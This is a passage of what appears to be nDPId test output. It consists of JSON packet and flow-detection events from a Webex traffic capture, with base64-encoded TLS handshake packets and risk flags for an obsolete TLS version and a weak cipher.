J80M5+gKvMzEzMG0GCCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI\/l0xqGrI2Oa8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AudmVyaXNpZ24uY29tMD4GA1UdJQQ3MDUGCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwMGCWCGSAGG+EIEAQYKYIZIAYb4RQEIATANBgkqhkiG9w0BAQUFAAOBgQATAt346IYA8lr4+CAMWYhiB87O9075u1mhmOXhON1OvGYY063rGPINyW0+SpQgwzy6vWVUxq9EsxCtLGs+q9cHtriBY8X5Xi7lKmfOzTMMKteJVgMjH7O+6DoIWbTsRTX3ilv\/Zs9Qr8ZtV40ZeLe5otFX6h+aS6+6yY4Sfsa9\/w4AAAA="} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":336,"source":"webex.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":8,"flow_first_seen":1444570636248,"flow_last_seen":1444570636703,"flow_tot_l4_data_len":4182,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2599,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.104.140","src_port":44492,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00409{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":704202,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo0G9AAEAGr\/IKCAAB0cXen7mKAbt7nBLGhGP8vVAQTE\/eTQAA"} +04347{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":705030,"pkt_caplen":2974,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2974,"pkt_l4_len":2940,"pkt":"ABoRAAACABoRAAABCABFAAuQAbBAABAGoXCt8wRMCggAAQG7zfr1hdJNCnot81AY\/\/8g1gAAFgMBDz4CAAAtAwFWGf8rmqTEjYV3fKJgrv6xsqvAH8t8a+41N1gtskOvYQAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOA=="} +00407{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":705760,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNItAAEAGU2wKCAABQERojK3MAbt5hva2hnkY7VAQUJjtNwAA"} +00407{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":706197,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo70VAAEAGj0IKCAABrfMETM36AbsKei3z9YXdtVAQT9jIVQAA"} +01741{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":706939,"pkt_caplen":1041,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1041,"pkt_l4_len":1007,"pkt":"ABoRAAACABoRAAABCABFAAQDAbFAABAGqPyt8wRMCggAAQG7zfr1hd21Cnot81AY\/\/+3iQAABgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK8kCAgpejWeYAyq50s7Ttx8vDxFHLsr4P4pAvlXCKNkhRUn9fGtyDGJXSLoKqqmQrOP+LlVt7G3S7P+j34HV+zvQ9tmYhVhz2ANpNje+ODDYgg9VBPrScpZVIUm5SuPG5\/r9aGRwjNJ2ENjalJL0o\/ocFFN0Ylpe8dw9rPcEnTbe11LVtOWvxV3obD0oiXyrxySZxjl9AYE75C55ADk3Tq1Gf8CuvQ87uCL6zeL7PTXrPL28D2v3XWRMxkdHEDLdCQZIZPZFP6sKlLHj9UESeSNY0eIPGmDy\/5HvSt+T8WVrg6d1NFDwGdz4xQIfuU\/n3O4MwrPXT80h5aK7lPoJRUCAwEAAaOCAZswggGXMA8GA1UdEwEB\/wQFMAMBAf8wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vY3BzMB0GA1UdDgQWBBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzBtBggrBgEFBQcBDARhMF+hXaBbMFkwVzBVFglpbWFnZS9naWYwITAfMAcGBSsOAwIaBBSP5dMahqyNjmvDz4Bq1EgYLHsZLjAlFiNodHRwOi8vbG9nby52ZXJpc2lnbi5jb20vdnNsb2dvLmdpZjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLnZlcmlzaWduLmNvbTA+BgNVHSUENzA1BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMDBglghkgBhvhCBAEGCmCGSAGG+EUBCAEwDQYJKoZIhvcNAQEFBQADgYEAEwLd+OiGAPJa+PggDFmIYgfOzvdO+btZoZjl4TjdTrxmGNOt6xjyDcltPkqUIMM8ur1lVMavRLMQrSxrPqvXB7a4gWPF+V4u5Spnzs0zDCrXiVYDIx+zvug6CFm07EU194pb\/2bPUK\/GbVeNGXi3uaLRV+ofmkuvusmOEn7Gvf8OAAAA"} +01110{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":341,"source":"webex.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":8,"flow_first_seen":1444570636255,"flow_last_seen":1444570636706,"flow_tot_l4_data_len":4150,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2940,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.4.76","src_port":52730,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00407{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":707337,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo70ZAAEAGj0EKCAABrfMETM36AbsKei3z9YXhkFAQZqitqgAA"} +01052{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":720192,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAICnxVAAEAGamcKCAABPm3nA7L2AbufQl9pYL2xm1AYTvhkIAAAFwMBACB3C9lWLtSxCr74F+P7WC+tzib0fsc5+dwNBTzRkQ+jLBcDAQGwwSJTKS5td9FItkSmZW7S9M4+MdlGodmbw8B\/UmfU6mVq47gcpEXfv6lCsX3yLgGK351qzwEjOwh0r+GAA1s\/5ZmEAiDgvunOPbGg6XzdNUiAMroWTVuFaTw5IiGh0MMAEuqBFtHvmmmvIoSgqkgFSxefoiCIE\/SJm7V\/f5Xl2DhL\/sTUt4oLPfaQ9+y0+CqWYaUWlNtMG3zbhDk7VEZem+QOR\/86TBym1rBAzgActYZxmxAr4ZzRXVZ8mn8kZEyaup4JF\/khofRR8tRvk8sCL+e9jS27xVb7FSRMSa+a5ydzA1U+nZf4TcOU2QOumwjpo5KgClMy45902ObAorPnMYN4kUlcNAVWuVZHZsAM5Sl0WCwuYRWHnrd60P5IkMjFIgNmj7mjbJyQnb+4pzqZeq2GTxZXwZX+\/olfxcjjg84cDobM7I+Ux8oBcL4B\/ULghXfkxNRrFgPUXpC9UsbV21KIY3QulG7CeWi1aj6K3vEpeTJHb5pVYxj4Uys7gVr0VJxN5MNnAbHaWjNw0SK7St32Pqg5DmC7mt5Y+Qle4fgPQh5rLqk5AUVFrocorQ1P"} +00410{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":720856,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbJAABAGOaU+becDCggAAQG7svZgvbGbn0JhQ1AQ\/\/+4ygAA"} +00852{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":772489,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu0HBAAEAGrqsKCAAB0cXen7mKAbt7nBLGhGP8vVAYTE9m9wAAFgMBAQYQAAECAQBh6Iy9x2yr2m3xCdPZgNEdWjzbtsH2sPvYvNbtEMZmEUi3Vyw3BcED3uFDM2yCVMFHZc6N1UUEiCo9ZhNym\/qc8HGIV0wYsojyO62X3SvuITZcIJCPTGFtS+OURqXOoXomLux2q1+8brIHtkd2xeug0MRBTcwpvvKWy\/DTUhJQEnk2vcibEAvCyV7G\/ezNsHrddU0d\/TZOID\/yLw9ZRFpxDH7NweWg16f5lT7lvRKnmbeFiP0y0S85VqXzj5Nt6P2qIn+1cRcJlHovSBcrMHg2xbrkBddhfwcca8oJMbmRfXyiJNgU4LW9mTyL7XYEpFKfcR91vzNimh+l07SYSpVCFAMBAAEBFgMBADBcUhS76c+8eQPT3fB901S73VeGweczs1DsGD9TAdI0\/OBKBz8qREHhH3ROFJlUi8k="} +00411{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":772793,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbNAABAGrq\/Rxd6fCggAAQG7uYqEY\/y9e5wUDFAQ\/\/8pVwAA"} +05676{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":773132,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rAbRAABAGlfNARHmZCggAAQG74S8Y3E7M5yOxdFAY\/\/+LZAAAFgMBDz4CAAAtAwFWGmYROltx5TnOap9UIE\/2w1MWBK1my7lSyNNjjVz6WgAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaX